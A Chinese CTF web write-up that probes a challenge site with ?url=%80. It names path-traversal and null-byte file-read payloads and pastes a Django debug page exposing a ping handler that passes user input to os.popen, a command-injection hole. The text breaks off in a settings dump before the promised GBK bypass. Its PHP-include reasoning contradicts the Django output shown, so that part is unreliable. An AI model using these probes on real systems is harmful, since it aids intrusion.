【CTF-WEB】表单提交(特殊参数:?url=%80和?url=@)(通过GBK编码绕过实现文件包含读取flag)
题目
寻找这个单纯的网站的flag
前端代码:
<!DOCTYPE html>
<head><title>CAT</title>
</head><body>
<h1>Cloud Automated Testing</h1>
<p>输入你的域名,例如:loli.club</p>
<form action="index.php" method="GET"><input name="url" type="text"><button>Submit</button>
</form>
<pre><code>
</code></pre>
</body>
漏洞分析
针对可提交文本框,%80的使用
不管输入任何数字,点击Submit,都没有任何反应,唯独网址处会get一下这个参数
那么我们在网址处,把参数换成%80,这回,网页开始变得不一样了
原理分析:
当访问 http://223.112.39.132:46185/index.php?url=%80
时,需要从字符编码、后端处理逻辑和潜在漏洞的角度分析这一请求的意义:
- %80 的本质:特殊字符的URL编码
%80
是URL编码后的结果,对应的十六进制值为0x80
(十进制128)。在ASCII编码中,0x00-0x7F
是标准可见字符(如字母、数字、符号),而0x80-0xFF
属于高位ASCII字符(非标准ASCII),在单字节编码中通常无明确对应字符,更多用于多字节编码(如UTF-8、GBK等)的扩展。
在UTF-8编码中,0x80
本身是无效的单字节字符(UTF-8的单字节范围仅为0x00-0x7F
,0x80
及以上需用多字节表示),因此当服务器以UTF-8解码%80
时,会被识别为无效字符。 - 发送该请求的潜在目的:触发后端处理漏洞
输入%80
通常是为了测试后端对异常字符的处理逻辑,可能暴露以下漏洞或信息:
(1)错误信息泄露
若后端未妥善处理无效字符(如0x80
),可能抛出错误并泄露关键信息。例如:
- 若后端使用PHP且开启了错误显示(
display_errors = On
),可能返回类似Warning: include(�) failed to open stream: No such file or directory in /var/www/html/index.php on line X
的错误。- 这类错误直接暴露了后端使用
include
/require
函数处理url
参数(即文件包含逻辑),说明url
参数可能被作为文件路径传入文件包含函数,这是典型的文件包含漏洞特征。
- 这类错误直接暴露了后端使用
- 错误中可能包含服务器路径(如
/var/www/html/
),为后续构造文件路径(如读取/flag
、/etc/passwd
等)提供依据。
(2)文件包含漏洞的验证
若后端确实通过文件包含函数(如PHP的include($_GET['url'])
)处理url
参数,%80
的作用是测试是否能绕过简单过滤。例如: - 部分过滤逻辑可能仅拦截
../
(路径穿越字符),但对0x80
这类特殊字符无处理,此时%80
可用于确认“文件包含”逻辑的存在(即使暂时无法读取文件)。 - 若后续结合路径穿越(如
../
)+ 特殊字符(如%80
可能干扰过滤),可能构造出有效路径(如../../../../flag
),直接读取服务器上的flag
文件。
(3)编码处理漏洞
在部分老旧服务器或框架中,对0x80
这类高位字符的解码可能存在缺陷: - 例如,某些环境会将
0x80
解析为“空字节”(0x00
),而空字节在C语言函数(如fopen
)中会截断字符串(如flag.txt%00.jpg
会被解析为flag.txt
)。若%80
被误解析为空字节,可能绕过“文件后缀限制”(若存在)。
总结
访问url=%80
的核心目的是探测后端是否通过文件包含函数处理输入,并通过错误信息确认漏洞类型(如文件包含)。若返回包含include
/require
相关的错误,可进一步构造路径穿越 payload(如../../../../flag
、/etc/passwd
等)读取敏感文件,最终获取flag
。
针对返回网页的分析
<!DOCTYPE html>
<html lang="en">
<head><meta http-equiv="content-type" content="text/html; charset=utf-8"><meta name="robots" content="NONE,NOARCHIVE"><title>UnicodeEncodeError at /api/ping</title><style type="text/css">html * { padding:0; margin:0; }body * { padding:10px 20px; }body * * { padding:0; }body { font:small sans-serif; }body>div { border-bottom:1px solid #ddd; }h1 { font-weight:normal; }h2 { margin-bottom:.8em; }h2 span { font-size:80%; color:#666; font-weight:normal; }h3 { margin:1em 0 .5em 0; }h4 { margin:0 0 .5em 0; font-weight: normal; }code, pre { font-size: 100%; white-space: pre-wrap; }table { border:1px solid #ccc; border-collapse: collapse; width:100%; background:white; }tbody td, tbody th { vertical-align:top; padding:2px 3px; }thead th {padding:1px 6px 1px 3px; background:#fefefe; text-align:left;font-weight:normal; font-size:11px; border:1px solid #ddd;}tbody th { width:12em; text-align:right; color:#666; padding-right:.5em; }table.vars { margin:5px 0 2px 40px; }table.vars td, table.req td { font-family:monospace; }table td.code { width:100%; }table td.code pre { overflow:hidden; }table.source th { color:#666; }table.source td { font-family:monospace; white-space:pre; border-bottom:1px solid #eee; }ul.traceback { list-style-type:none; color: #222; }ul.traceback li.frame { padding-bottom:1em; color:#666; }ul.traceback li.user { background-color:#e0e0e0; color:#000 }div.context { padding:10px 0; overflow:hidden; }div.context ol { padding-left:30px; margin:0 10px; list-style-position: inside; }div.context ol li { font-family:monospace; white-space:pre; color:#777; cursor:pointer; padding-left: 2px; }div.context ol li pre { display:inline; }div.context ol.context-line li { color:#505050; background-color:#dfdfdf; padding: 3px 2px; }div.context ol.context-line li span { position:absolute; right:32px; }.user div.context ol.context-line li { background-color:#bbb; color:#000; }.user div.context ol li { color:#666; }div.commands { margin-left: 40px; }div.commands a { color:#555; text-decoration:none; }.user div.commands a { color: black; }#summary { background: #ffc; }#summary h2 { font-weight: normal; color: #666; }#explanation { background:#eee; }#template, #template-not-exist { background:#f6f6f6; }#template-not-exist ul { margin: 0 0 10px 20px; }#template-not-exist .postmortem-section { margin-bottom: 3px; }#unicode-hint { background:#eee; }#traceback { background:#eee; }#requestinfo { background:#f6f6f6; padding-left:120px; }#summary table { border:none; background:transparent; }#requestinfo h2, #requestinfo h3 { position:relative; margin-left:-100px; }#requestinfo h3 { margin-bottom:-1em; }.error { background: #ffc; }.specific { color:#cc3300; font-weight:bold; }h2 span.commands { font-size:.7em;}span.commands a:link {color:#5E5694;}pre.exception_value { font-family: sans-serif; color: #666; font-size: 1.5em; margin: 10px 0 10px 0; }.append-bottom { margin-bottom: 10px; }</style><script type="text/javascript">//<!--function getElementsByClassName(oElm, strTagName, strClassName){// Written by Jonathan Snook, http://www.snook.ca/jon; Add-ons by Robert Nyman, http://www.robertnyman.comvar arrElements = (strTagName == "*" && document.all)? document.all :oElm.getElementsByTagName(strTagName);var arrReturnElements = new Array();strClassName = strClassName.replace(/\-/g, "\-");var oRegExp = new RegExp("(^|\s)" + strClassName + "(\s|$)");var oElement;for(var i=0; i<arrElements.length; i++){oElement = arrElements[i];if(oRegExp.test(oElement.className)){arrReturnElements.push(oElement);}}return (arrReturnElements)}function hideAll(elems) {for (var e = 0; e < elems.length; e++) {elems[e].style.display = 'none';}}window.onload = function() {hideAll(getElementsByClassName(document, 'table', 'vars'));hideAll(getElementsByClassName(document, 'ol', 'pre-context'));hideAll(getElementsByClassName(document, 'ol', 'post-context'));hideAll(getElementsByClassName(document, 'div', 'pastebin'));}function toggle() {for (var i = 0; i < arguments.length; i++) {var e = document.getElementById(arguments[i]);if (e) {e.style.display = e.style.display == 'none' ? 'block': 'none';}}return false;}function varToggle(link, id) {toggle('v' + id);var s = link.getElementsByTagName('span')[0];var uarr = String.fromCharCode(0x25b6);var darr = String.fromCharCode(0x25bc);s.textContent = s.textContent == uarr ? darr : uarr;return false;}function switchPastebinFriendly(link) {s1 = "Switch to copy-and-paste view";s2 = "Switch back to interactive view";link.textContent = link.textContent.trim() == s1 ? s2: s1;toggle('browserTraceback', 'pastebinTraceback');return false;}//--></script></head>
<body>
<div id="summary"><h1>UnicodeEncodeError at /api/ping</h1><pre class="exception_value">'gbk' codec can't encode character u'\ufffd' in position 0: illegal multibyte sequence</pre><table class="meta"><tr><th>Request Method:</th><td>POST</td></tr><tr><th>Request URL:</th><td>http://127.0.0.1:8000/api/ping</td></tr><tr><th>Django Version:</th><td>1.10.4</td></tr><tr><th>Exception Type:</th><td>UnicodeEncodeError</td></tr><tr><th>Exception Value:</th><td><pre>'gbk' codec can't encode character u'\ufffd' in position 0: illegal multibyte sequence</pre></td></tr><tr><th>Exception Location:</th><td>/opt/api/dnsapi/utils.py in escape, line 9</td></tr><tr><th>Python Executable:</th><td>/usr/bin/python</td></tr><tr><th>Python Version:</th><td>2.7.12</td></tr><tr><th>Python Path:</th><td><pre>['/opt/api','/usr/lib/python2.7','/usr/lib/python2.7/plat-x86_64-linux-gnu','/usr/lib/python2.7/lib-tk','/usr/lib/python2.7/lib-old','/usr/lib/python2.7/lib-dynload','/usr/local/lib/python2.7/dist-packages','/usr/lib/python2.7/dist-packages']</pre></td></tr><tr><th>Server time:</th><td>Thu, 17 Jul 2025 04:33:22 +0000</td></tr></table>
</div><div id="unicode-hint"><h2>Unicode error hint</h2><p>The string that could not be encoded/decoded was: <strong>�</strong></p>
</div><div id="traceback"><h2>Traceback <span class="commands"><a href="#" onclick="return switchPastebinFriendly(this);">Switch to copy-and-paste view</a></span></h2><div id="browserTraceback"><ul class="traceback"><li class="frame django"><code>/usr/local/lib/python2.7/dist-packages/django/core/handlers/exception.py</code> in <code>inner</code><div class="context" id="c139957791782672"><ol start="32" class="pre-context" id="pre139957791782672"><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> This decorator is automatically applied to all middleware to ensure that</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> no middleware leaks an exception and that the next middleware in the stack</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> can rely on getting a response instead of an exception.</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> """</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> @wraps(get_response, assigned=available_attrs(get_response))</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> def inner(request):</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> try:</pre></li></ol><ol start="39" class="context-line"><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre>response = get_response(request)</pre> <span>...</span></li></ol><ol start='40' class="post-context" id="post139957791782672"><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> except Exception as exc:</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> response = response_for_exception(request, exc)</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> return response</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre> return inner</pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre></pre></li><li onclick="toggle('pre139957791782672', 'post139957791782672')"><pre></pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957791782672')"><span>▶</span> Local vars</a></div><table class="vars" id="v139957791782672"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>exc</td><td class="code"><pre>UnicodeEncodeError('gbk', u'\ufffd', 0, 1, 'illegal multibyte sequence')</pre></td></tr><tr><td>get_response</td><td class="code"><pre><bound method WSGIHandler._get_response of <django.core.handlers.wsgi.WSGIHandler object at 0x7f4a78738b10>></pre></td></tr><tr><td>request</td><td class="code"><pre><WSGIRequest: POST '/api/ping'></pre></td></tr></tbody></table></li><li class="frame django"><code>/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py</code> in <code>_get_response</code><div class="context" id="c139957808042712"><ol start="180" class="pre-context" id="pre139957808042712"><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> break</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre></pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> if response is None:</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> wrapped_callback = self.make_view_atomic(callback)</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> try:</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> response = wrapped_callback(request, *callback_args, **callback_kwargs)</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> except Exception as e:</pre></li></ol><ol start="187" class="context-line"><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre>response = self.process_exception_by_middleware(e, request)</pre> <span>...</span></li></ol><ol start='188' class="post-context" id="post139957808042712"><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre></pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> # Complain if the view returned None (a common error).</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> if response is None:</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> if isinstance(callback, types.FunctionType): # FBV</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> view_name = callback.__name__</pre></li><li onclick="toggle('pre139957808042712', 'post139957808042712')"><pre> else: # CBV</pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808042712')"><span>▶</span> Local vars</a></div><table class="vars" id="v139957808042712"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>callback</td><td class="code"><pre><function ping at 0x7f4a7773dcf8></pre></td></tr><tr><td>callback_args</td><td class="code"><pre>()</pre></td></tr><tr><td>callback_kwargs</td><td class="code"><pre>{}</pre></td></tr><tr><td>e</td><td class="code"><pre>UnicodeEncodeError('gbk', u'\ufffd', 0, 1, 'illegal multibyte sequence')</pre></td></tr><tr><td>request</td><td class="code"><pre><WSGIRequest: POST '/api/ping'></pre></td></tr><tr><td>resolver</td><td class="code"><pre><RegexURLResolver 'api.urls' (None:None) ^/></pre></td></tr><tr><td>resolver_match</td><td class="code"><pre>ResolverMatch(func=dnsapi.views.ping, args=(), kwargs={}, url_name=None, app_names=[], namespaces=[])</pre></td></tr><tr><td>response</td><td class="code"><pre>None</pre></td></tr><tr><td>self</td><td class="code"><pre><django.core.handlers.wsgi.WSGIHandler object at 0x7f4a78738b10></pre></td></tr><tr><td>wrapped_callback</td><td class="code"><pre><function ping at 0x7f4a7773dcf8></pre></td></tr></tbody></table></li><li class="frame django"><code>/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py</code> in <code>_get_response</code><div class="context" id="c139957808043288"><ol start="178" class="pre-context" id="pre139957808043288"><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> response = middleware_method(request, callback, callback_args, callback_kwargs)</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> if response:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> break</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre></pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> if response is None:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> wrapped_callback = self.make_view_atomic(callback)</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> try:</pre></li></ol><ol start="185" class="context-line"><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre>response = wrapped_callback(request, *callback_args, **callback_kwargs)</pre> <span>...</span></li></ol><ol start='186' class="post-context" id="post139957808043288"><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> except Exception as e:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> response = self.process_exception_by_middleware(e, request)</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre></pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> # Complain if the view returned None (a common error).</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> if response is None:</pre></li><li onclick="toggle('pre139957808043288', 'post139957808043288')"><pre> if isinstance(callback, types.FunctionType): # FBV</pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808043288')"><span>▶</span> Local vars</a></div><table class="vars" id="v139957808043288"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>callback</td><td class="code"><pre><function ping at 0x7f4a7773dcf8></pre></td></tr><tr><td>callback_args</td><td class="code"><pre>()</pre></td></tr><tr><td>callback_kwargs</td><td class="code"><pre>{}</pre></td></tr><tr><td>e</td><td class="code"><pre>UnicodeEncodeError('gbk', u'\ufffd', 0, 1, 'illegal multibyte sequence')</pre></td></tr><tr><td>request</td><td class="code"><pre><WSGIRequest: POST '/api/ping'></pre></td></tr><tr><td>resolver</td><td class="code"><pre><RegexURLResolver 'api.urls' (None:None) ^/></pre></td></tr><tr><td>resolver_match</td><td class="code"><pre>ResolverMatch(func=dnsapi.views.ping, args=(), kwargs={}, url_name=None, app_names=[], namespaces=[])</pre></td></tr><tr><td>response</td><td class="code"><pre>None</pre></td></tr><tr><td>self</td><td class="code"><pre><django.core.handlers.wsgi.WSGIHandler object at 0x7f4a78738b10></pre></td></tr><tr><td>wrapped_callback</td><td class="code"><pre><function ping at 0x7f4a7773dcf8></pre></td></tr></tbody></table></li><li class="frame user"><code>/opt/api/dnsapi/views.py</code> in <code>wrapper</code><div class="context" id="c139957808043432"><ol start="14" class="pre-context" id="pre139957808043432"><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre> # 合并 requests.FILES 和 requests.POST</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre> for k, v in request.FILES.items():</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre> if isinstance(v, InMemoryUploadedFile):</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre> v = v.read()</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre> request.FILES[k] = v</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre> request.POST.update(request.FILES)</pre></li></ol><ol start="21" class="context-line"><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>return f(*args, **kwargs)</pre> <span>...</span></li></ol><ol start='22' class="post-context" id="post139957808043432"><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre> return wrapper</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre></pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>@process_request</pre></li><li onclick="toggle('pre139957808043432', 'post139957808043432')"><pre>def ping(request):</pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808043432')"><span>▶</span> Local vars</a></div><table class="vars" id="v139957808043432"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>args</td><td class="code"><pre>(<WSGIRequest: POST '/api/ping'>,)</pre></td></tr><tr><td>f</td><td class="code"><pre><function ping at 0x7f4a7773dc80></pre></td></tr><tr><td>kwargs</td><td class="code"><pre>{}</pre></td></tr><tr><td>request</td><td class="code"><pre><WSGIRequest: POST '/api/ping'></pre></td></tr></tbody></table></li><li class="frame user"><code>/opt/api/dnsapi/views.py</code> in <code>ping</code><div class="context" id="c139957808045952"><ol start="23" class="pre-context" id="pre139957808045952"><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre> return wrapper</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>@process_request</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>def ping(request):</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre> # 转义</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre> data = request.POST.get('url')</pre></li></ol><ol start="30" class="context-line"><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre>data = escape(data)</pre> <span>...</span></li></ol><ol start='31' class="post-context" id="post139957808045952"><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre> if not re.match('^[a-zA-Z0-9\-\./]+$', data):</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre> return HttpResponse("Invalid URL")</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre> return HttpResponse(os.popen("ping -c 1 \"%s\"" % data).read())</pre></li><li onclick="toggle('pre139957808045952', 'post139957808045952')"><pre></pre></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808045952')"><span>▶</span> Local vars</a></div><table class="vars" id="v139957808045952"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>data</td><td class="code"><pre>u'\ufffd'</pre></td></tr><tr><td>request</td><td class="code"><pre><WSGIRequest: POST '/api/ping'></pre></td></tr></tbody></table></li><li class="frame user"><code>/opt/api/dnsapi/utils.py</code> in <code>escape</code><div class="context" id="c139957808345456"><ol start="2" class="pre-context" id="pre139957808345456"><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre> r = ''</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre> for i in range(len(data)):</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre> c = data[i]</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre> if c in ('\\', '\'', '"', '$', '`'):</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre> r = r + '\\' + c</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre> else:</pre></li><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre> r = r + c</pre></li></ol><ol start="9" class="context-line"><li onclick="toggle('pre139957808345456', 'post139957808345456')"><pre>return r.encode('gbk')</pre> <span>...</span></li></ol></div><div class="commands"><a href="#" onclick="return varToggle(this, '139957808345456')"><span>▶</span> Local vars</a></div><table class="vars" id="v139957808345456"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>c</td><td class="code"><pre>u'\ufffd'</pre></td></tr><tr><td>data</td><td class="code"><pre>u'\ufffd'</pre></td></tr><tr><td>i</td><td class="code"><pre>0</pre></td></tr><tr><td>r</td><td class="code"><pre>u'\ufffd'</pre></td></tr></tbody></table></li></ul></div><form action="http://dpaste.com/" name="pasteform" id="pasteform" method="post"><div id="pastebinTraceback" class="pastebin"><input type="hidden" name="language" value="PythonConsole"><input type="hidden" name="title"value="UnicodeEncodeError at /api/ping"><input type="hidden" name="source" value="Django Dpaste Agent"><input type="hidden" name="poster" value="Django"><textarea name="content" id="traceback_area" cols="140" rows="25">
Environment:Request Method: POST
Request URL: http://127.0.0.1:8000/api/pingDjango Version: 1.10.4
Python Version: 2.7.12
Installed Applications:
['django.contrib.admin','django.contrib.auth','django.contrib.contenttypes','django.contrib.sessions','django.contrib.messages','django.contrib.staticfiles','dnsapi']
Installed Middleware:
['django.middleware.security.SecurityMiddleware','django.contrib.sessions.middleware.SessionMiddleware','django.middleware.common.CommonMiddleware','django.contrib.auth.middleware.AuthenticationMiddleware','django.contrib.messages.middleware.MessageMiddleware','django.middleware.clickjacking.XFrameOptionsMiddleware']Traceback:File "/usr/local/lib/python2.7/dist-packages/django/core/handlers/exception.py" in inner39. response = get_response(request)File "/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py" in _get_response187. response = self.process_exception_by_middleware(e, request)File "/usr/local/lib/python2.7/dist-packages/django/core/handlers/base.py" in _get_response185. response = wrapped_callback(request, *callback_args, **callback_kwargs)File "/opt/api/dnsapi/views.py" in wrapper21. return f(*args, **kwargs)File "/opt/api/dnsapi/views.py" in ping30. data = escape(data)File "/opt/api/dnsapi/utils.py" in escape9. return r.encode('gbk')Exception Type: UnicodeEncodeError at /api/ping
Exception Value: 'gbk' codec can't encode character u'\ufffd' in position 0: illegal multibyte sequence
</textarea><br><br><input type="submit" value="Share this traceback on a public website"></div>
</form>
</div><div id="requestinfo"><h2>Request information</h2><h3 id="user-info">USER</h3><p>AnonymousUser</p><h3 id="get-info">GET</h3><p>No GET data</p><h3 id="post-info">POST</h3><table class="req"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>url</td><td class="code"><pre>u'\ufffd'</pre></td></tr></tbody></table><h3 id="files-info">FILES</h3><p>No FILES data</p><h3 id="cookie-info">COOKIES</h3><p>No cookie data</p><h3 id="meta-info">META</h3><table class="req"><thead><tr><th>Variable</th><th>Value</th></tr></thead><tbody><tr><td>CONTENT_LENGTH</td><td class="code"><pre>'139'</pre></td></tr><tr><td>CONTENT_TYPE</td><td class="code"><pre>'multipart/form-data; boundary=------------------------e9b831ece813d4f5'</pre></td></tr><tr><td>DJANGO_SETTINGS_MODULE</td><td class="code"><pre>'api.settings'</pre></td></tr><tr><td>GATEWAY_INTERFACE</td><td class="code"><pre>'CGI/1.1'</pre></td></tr><tr><td>HOME</td><td class="code"><pre>'/root'</pre></td></tr><tr><td>HOSTNAME</td><td class="code"><pre>'00a9881ade11'</pre></td></tr><tr><td>HTTP_ACCEPT</td><td class="code"><pre>'*/*'</pre></td></tr><tr><td>HTTP_EXPECT</td><td class="code"><pre>'100-continue'</pre></td></tr><tr><td>HTTP_HOST</td><td class="code"><pre>'127.0.0.1:8000'</pre></td></tr><tr><td>PATH</td><td class="code"><pre>'/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin'</pre></td></tr><tr><td>PATH_INFO</td><td class="code"><pre>u'/api/ping'</pre></td></tr><tr><td>PWD</td><td class="code"><pre>'/opt/api'</pre></td></tr><tr><td>QUERY_STRING</td><td class="code"><pre>''</pre></td></tr><tr><td>REMOTE_ADDR</td><td class="code"><pre>'127.0.0.1'</pre></td></tr><tr><td>REMOTE_HOST</td><td class="code"><pre>''</pre></td></tr><tr><td>REQUEST_METHOD</td><td class="code"><pre>'POST'</pre></td></tr><tr><td>RUN_MAIN</td><td class="code"><pre>'true'</pre></td></tr><tr><td>SCRIPT_NAME</td><td class="code"><pre>u''</pre></td></tr><tr><td>SERVER_NAME</td><td class="code"><pre>'localhost'</pre></td></tr><tr><td>SERVER_PORT</td><td class="code"><pre>'8000'</pre></td></tr><tr><td>SERVER_PROTOCOL</td><td class="code"><pre>'HTTP/1.1'</pre></td></tr><tr><td>SERVER_SOFTWARE</td><td class="code"><pre>'WSGIServer/0.1 Python/2.7.12'</pre></td></tr><tr><td>TZ</td><td class="code"><pre>'UTC'</pre></td></tr><tr><td>wsgi.errors</td><td class="code"><pre><open file '<stderr>', mode 'w' at 0x7f4a7b57e1e0></pre></td></tr><tr><td>wsgi.file_wrapper</td><td class="code"><pre>''</pre></td></tr><tr><td>wsgi.input</td><td class="code"><pre><socket._fileobject object at 0x7f4a76c4d9d0></pre></td></tr><tr><td>wsgi.multiprocess</td><td class="code"><pre>False</pre></td></tr><tr><td>wsgi.multithread</td><td class="code"><pre>True</pre></td></tr><tr><td>wsgi.run_once</td><td class="code"><pre>False</pre></td></tr><tr><td>wsgi.url_scheme</td><td class="code"><pre>'http'</pre></td></tr><tr><td>wsgi.version</td><td class="code"><pre>(1, 0)</pre></td></tr></tbody></table><h3 id="settings-info">Settings</h3><h4>Using settings module <code>api.settings</code></h4><table class="req"><thead><tr><th>Setting</th><th>Value</th></tr></thead><tbody><tr><td>ABSOLUTE_URL_OVERRIDES</td><td class="code"><pre>{}</pre></td></tr><tr><td>ADMINS</td><td class="code"><pre>[]</pre></td></tr><tr><td>ALLOWED_HOSTS</td><td class="code"><pre>[]</pre></td></tr><tr><td>APPEND_SLASH</td><td class="code"><pre>True</pre></td></tr><tr><td>AUTHENTICATION_BACKENDS</td><td class="code"><pre>[u'django.contrib.auth.backends.ModelBackend']</pre></td></tr><tr><td>AUTH_PASSWORD_VALIDATORS</td><td class="code"><pre>u'********************'</pre></td></tr><tr><td>AUTH_USER_MODEL</td><td class="code"><pre>u'auth.User'</pre></td></tr><tr><td>BASE_DIR</td><td class="code"><pre>'/opt/api'</pre></td></tr><tr><td>CACHES</td><td class="code"><pre>{u'default': {u'BACKEND': u'django.core.cache.backends.locmem.LocMemCache'}}</pre></td></tr><tr><td>CACHE_MIDDLEWARE_ALIAS</td><td class="code"><pre>u'default'</pre></td></tr><tr><td>CACHE_MIDDLEWARE_KEY_PREFIX</td><td class="code"><pre>u'********************'</pre></td></tr><tr><td>CACHE_MIDDLEWARE_SECONDS</td><td class="code"><pre>600</pre></td></tr><tr><td>CSRF_COOKIE_AGE</td><td class="code"><pre>31449600</pre></td></tr><tr><td>CSRF_COOKIE_DOMAIN</td><td class="code"><pre>None</pre></td></tr><tr><td>CSRF_COOKIE_HTTPONLY</td><td class="code"><pre>False</pre></td></tr><tr><td>CSRF_COOKIE_NAME</td><td class="code"><pre>u'csrftoken'</pre></td></tr><tr><td>CSRF_COOKIE_PATH</td><td class="code"><pre>u'/'</pre></td></tr><tr><td>CSRF_COOKIE_SECURE</td><td class="code"><pre>False</pre></td></tr><tr><td>CSRF_FAILURE_VIEW</td><td class="code"><pre>u'django.views.csrf.csrf_failure'</pre></td></tr><tr><td>CSRF_HEADER_NAME</td><td class="code"><pre>u'HTTP_X_CSRFTOKEN'</pre></td></tr><tr><td>CSRF_TRUSTED_ORIGINS</td><td class="code"><pre>[]</pre></td></tr><tr><td>DATABASES</td><td class="code"><pre>{'default': {'ATOMIC_REQUESTS': False,'AUTOCOMMIT': True,'CONN_MAX_AGE': 0,'ENGINE': 'django.db.backends.sqlite3','HOST': '','NAME': '/opt/api/database.sqlite3','OPTIONS': {},'PASSWORD': u'********************','PORT': '','TEST': {'CHARSET': None,'COLLATION': None,'MIRROR': None,'NAME': None},'TIME_ZONE': None,'USER': ''}}</pre></td></tr><tr><td>DATABASE_ROUTERS</td><td class="code"><pre>[]</pre></td></tr><tr><td>DATA_UPLOAD_MAX_MEMORY_SIZE</td><td class="code"><pre>2621440</pre></td></tr><tr><td>DATA_UPLOAD_MAX_NUMBER_FIELDS</td><td class="code"><pre>1000</pre></td></tr><tr><td>DATETIME_FORMAT</td><td class="code"><pre>u'N j, Y, P'</pre></td></tr><tr><td>DATETIME_INPUT_FORMATS</td><td class="code"><pre>[u'%Y-%m-%d %H:%M:%S',u'%Y-%m-%d %H:%M:%S.%f',u'%Y-%m-%d %H:%M',u'%Y-%m-%d',u'%m/%d/%Y %H:%M:%S',u'%m/%d/%Y %H:%M:%S.%f',u'%m/%d/%Y %H:%M',u'%m/%d/%Y',u'%m/%d/%y %H:%M:%S',u'%m/%d/%y %H:%M:%S.%f',u'%m/%d/%y 